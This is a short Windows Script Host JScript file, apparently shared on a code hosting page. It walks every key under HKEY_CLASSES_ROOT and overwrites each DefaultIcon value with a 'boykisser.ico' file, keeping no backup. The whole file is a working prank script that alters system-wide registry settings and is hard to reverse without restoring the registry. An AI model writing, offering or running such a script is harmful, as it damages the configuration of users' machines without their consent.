48 lines
1.3 KiB
JavaScript
48 lines
1.3 KiB
JavaScript
var shell = WScript.CreateObject('WScript.Shell');
|
|
var fso = WScript.CreateObject('Scripting.FileSystemObject')
|
|
|
|
function getDir(path){
|
|
return path.split('\\').slice(0, -1).join('\\');
|
|
}
|
|
|
|
function isRegExists(regParam){
|
|
try{
|
|
shell.RegRead(regParam);
|
|
return true;
|
|
}catch(e){
|
|
return false;
|
|
}
|
|
}
|
|
|
|
function getKeys(){
|
|
var HKCR = 2147483648;
|
|
|
|
var objService = GetObject('winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default');
|
|
var objReg = objService.Get('StdRegProv');
|
|
|
|
var objMethod = objReg.Methods_.Item('EnumKey');
|
|
var objParamsIn = objMethod.InParameters.SpawnInstance_();
|
|
objParamsIn.hDefKey = HKCR;
|
|
objParamsIn.sSubKeyName = '';
|
|
|
|
var objParamsOut = objReg.ExecMethod_(objMethod.Name, objParamsIn);
|
|
|
|
if(objParamsOut.ReturnValue === 0){
|
|
if(objParamsOut.sNames != null){
|
|
return objParamsOut.sNames.toArray();
|
|
}
|
|
}
|
|
}
|
|
|
|
var regKs = getKeys();
|
|
for(var i in regKs){
|
|
var key = 'HKCR\\'+regKs[i];
|
|
if(isRegExists(key+'\\DefaultIcon\\')){
|
|
WScript.Echo('kissing: '+key);
|
|
try{
|
|
shell.RegWrite(key+'\\DefaultIcon\\', getDir(WScript.ScriptFullName)+'\\boykisser.ico,0', 'REG_SZ');
|
|
}catch(e){
|
|
WScript.Echo('failed: '+key);
|
|
}
|
|
}
|
|
} |